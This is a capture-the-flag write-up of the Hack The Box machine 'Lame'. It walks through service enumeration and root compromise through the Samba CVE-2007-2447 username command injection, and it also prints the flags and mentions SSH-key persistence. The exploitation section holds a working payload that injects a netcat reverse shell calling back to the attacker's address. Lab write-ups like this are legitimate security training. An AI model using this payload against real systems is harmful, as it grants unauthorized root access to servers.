> For the complete documentation index, see [llms.txt](https://k70n0s510.gitbook.io/k70n0s510-docs/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://k70n0s510.gitbook.io/k70n0s510-docs/lame.md). # Lame Executive Summary *** ### 📜 Walking the Ancient Paths: 🕸️Rooting Legacy Infrastructure ![](https://cdn-images-1.medium.com/max/800/1*dcKtYHm9RE5yeHuFNqLITw.png) ### Executive Summary **Target:** *Lame (Hack The Box)* **OS:** *Linux* **Difficulty:** *Easy* **Attack Vectors:** *Samba Misconfiguration (CVE-2007–2447) -> Command Injection -> Unauthenticated Root RCE.* This assessment targeted “**Lame,**” a Linux-based machine running legacy services. The initial foothold — and immediate root compromise — was achieved by identifying a critical vulnerability in the Samba file sharing service (**CVE-2007–2447**). This vulnerability allowed for unauthenticated Arbitrary Command Execution via shell metacharacters in the username field. By leveraging this flaw during an **SMB** login attempt, we bypassed standard authentication and instantly gained unrestricted administrative (Root) access to the host. ### 1.0 Initial Foothold ### 1.1 Reconnaissance & Enumeration #### 1.1.1 Nmap Scan Analysis The assessment began with a full TCP port scan using Nmap to identify all open services and gather version information on the target 10.10.10.3. ``` ──(nicholas㉿Nicholas)-[~/HTB/Labs/Lame] └─$ nmap -sV -sC -p- -A -vvv 10.10.10.3 PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 2.3.4 |_ftp-anon: Anonymous FTP login allowed (FTP code 230) 22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0) 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 445/tcp open netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP) 3632/tcp open distccd distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4)) ``` #### 1.1.2 Key Findings * **Port 21 (FTP):** **`vsftpd 2.3.4`** (Anonymous login confirmed). * **Port 139/445 (SMB):** **`Samba smbd 3.0.20-Debian`** (Critical). * **Port 3632 (Distcc):** **`distccd v1`** (Secondary RCE vector). * **Service Discovery:** The Nmap scan identifies the OS as *Unix (Samba 3.0.20-Debian)* and reveals the **`hackthebox.gr`** domain name. #### 1.2 Service Enumeration #### 1.2.1 Analysis We identified two high-probability vectors: **`distccd`** on port 3632 (vulnerable to CVE-2004-2687) and **`Samba`** on port 445. We prioritized the Samba vector as it typically provides direct **`root`** access, whereas **`distccd`** often yields a low-privileged **`daemon`** shell. #### 1.2.2 Version Fingerprinting We validated the Samba version using **`smbclient`** to ensure the Nmap banner was accurate. ``` smbclient -L //10.10.10.3 Password for [WORKGROUP\nicholas]: Anonymous login successful Sharename Type Comment --------- ---- ------- print$ Disk Printer Drivers tmp Disk oh noes! opt Disk IPC$ IPC IPC Service (lame server (Samba 3.0.20-Debian)) ADMIN$ IPC IPC Service (lame server (Samba 3.0.20-Debian)) Reconnecting with SMB1 for workgroup listing. Anonymous login successful Server Comment --------- ------- Workgroup Master --------- ------- WORKGROUP LAME ``` #### 1.2.3 Output Analysis The server allowed **Anonymous Login**, revealing the following shares: * **print$:** Printer drivers (Disk). * **tmp:** Comment “oh noes!” (Disk) — **Primary Target**. * **opt:** Optional software packages (Disk). * **IPC$ / ADMIN$:** IPC Services. 1. **2.4 Key Finding:** The presence of the **`tmp`** share with the suspicious "oh noes!" comment suggests it is the intended path for interaction. We verified the server version again in the footer: **`Samba 3.0.20-Debian`**. ### 2.0 Initial Shell & Root Compromise (Exploitation) Now we execute the attack. We will connect to the **`tmp`** share and use the **`logon`** command to trigger the CVE-2007-2447 exploit. **Step 1: Start your Listener (Term 1)** Open a new terminal tab and start Netcat to catch the shell. ``` ──(nicholas㉿Nicholas)-[~/HTB/Labs/Lame] └─$ nc -lvnp 4444 listening on [any] 4444 ... ``` **Step 2: Trigger the Exploit (Term 2)** In your current terminal, connect to the **`tmp`** share and send the malicious username payload. ``` ─(nicholas㉿Nicholas)-[~/HTB/Labs/Lame] └─$ smbclient //10.10.10.3/tmp Password for [WORKGROUP\nicholas]: Anonymous login successful Try "help" to get a list of possible commands. smb: \> logon "/=`nohup nc -e /bin/sh 10.10.14.24 4444`" Password: session setup failed: NT_STATUS_IO_TIMEOUT smb: \> ``` **Key Findings:** * **Privilege Level:** The **`uid=0(root)`** confirms that the Samba daemon was running with administrative privileges, and our injected command inherited those permissions. * **No Lateral Movement Needed:** Unlike modern systems where we often land as a low-privileged user (e.g., **`www-data`**), this legacy vulnerability granted immediate system-wide control. ``` nc -lvnp 4444 listening on [any] 4444 ... connect to [10.10.14.24] from (UNKNOWN) [10.10.10.3] 51927 id uid=0(root) gid=0(root) ``` ### 3.0 Post-Exploitation ### 3.1 Flag Capture With root access, we can now retrieve the objective flags. Run these commands in your root shell to get the “loot”: ``` cat /home/makis/user.txt 3a7ad2294b0ee2e1a356c7f41f2adfa4 cat /root/root.txt d68895d92912196c3b1c5963826a4acc ``` ### 3.2 Persistence (Optional) If this were a red team engagement, we would now establish persistence. * **SSH Key Injection:** We could generate an SSH keypair on our attacker machine (**`ssh-keygen`**) and echo the public key into **`/root/.ssh/authorized_keys`** to allow login without re-exploiting Samba. ### 4.0 Final Thoughts: The Red Team Mandate Throughout this assessment of “Lame,” we demonstrated that a chain is only as strong as its oldest link. We didn’t need to brute-force SSH or compromise the FTP service. We identified a 15-year-old vulnerability (CVE-2007–2447) in the Samba service that was left unpatched. We utilized the **“Ancient Paths”** approach — checking for legacy misconfigurations before attempting complex modern exploits. This resulted in a complete system compromise in under 5 minutes of active engagement. #### 4.1 spiritual connection **Proverbs 25:19** > *“Like a broken tooth or a lame foot is reliance on the unfaithful in a time of trouble.”* ### How it ties into the machine: 1. **The Name:** The machine is literally named “**Lame**.” The verse speaks directly to the concept of a “lame foot” — something that structure and weight are supposed to rest on, but which fails immediately under pressure. 2. **The Exploit:** The system administrators relied on **Samba 3.0.20** to handle file sharing securely. However, outdated software is “unfaithful” — it cannot be trusted. 3. **The Result:** In the “time of trouble” (our penetration test), that reliance caused the system to collapse. Just as a lame foot cannot support a body, the unpatched Samba service could not support the security posture of the server, leading to an immediate root compromise. ![](https://cdn-images-1.medium.com/max/800/1*tcHn8n_H00Y-VrK3PfdE8g.png) ### 🚀🚀Join the Mission🚀🚀 I don’t want to do this alone. I want to build a community of people who are hungry to learn, build, and break things (ethically). I am constantly looking for the next challenge. * Is there a specific tool you wish existed? * Is there a hacking concept you want me to learn and explain? * Do you have a “brick wall” you’re hitting in your own research? Jump into the server, drop a message, and tell me what I should build or learn next. Let’s sharpen each other. [**Join the Iron-Breach Discord Server!**\ *An advanced study group for Offensive Security professionals and students. We specialize in Red Teaming simulation…*discord.gg](https://discord.gg/8buAHtm2fK) By [Nicholas Mullenski](https://medium.com/@nicholasmullenski) on [February 8, 2026](https://medium.com/p/48a10435ba07). [Canonical link](https://medium.com/@nicholasmullenski/walking-the-ancient-paths-%EF%B8%8Frooting-legacy-infrastructure-48a10435ba07) Exported from [Medium](https://medium.com) on September 1, 2026. --- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. 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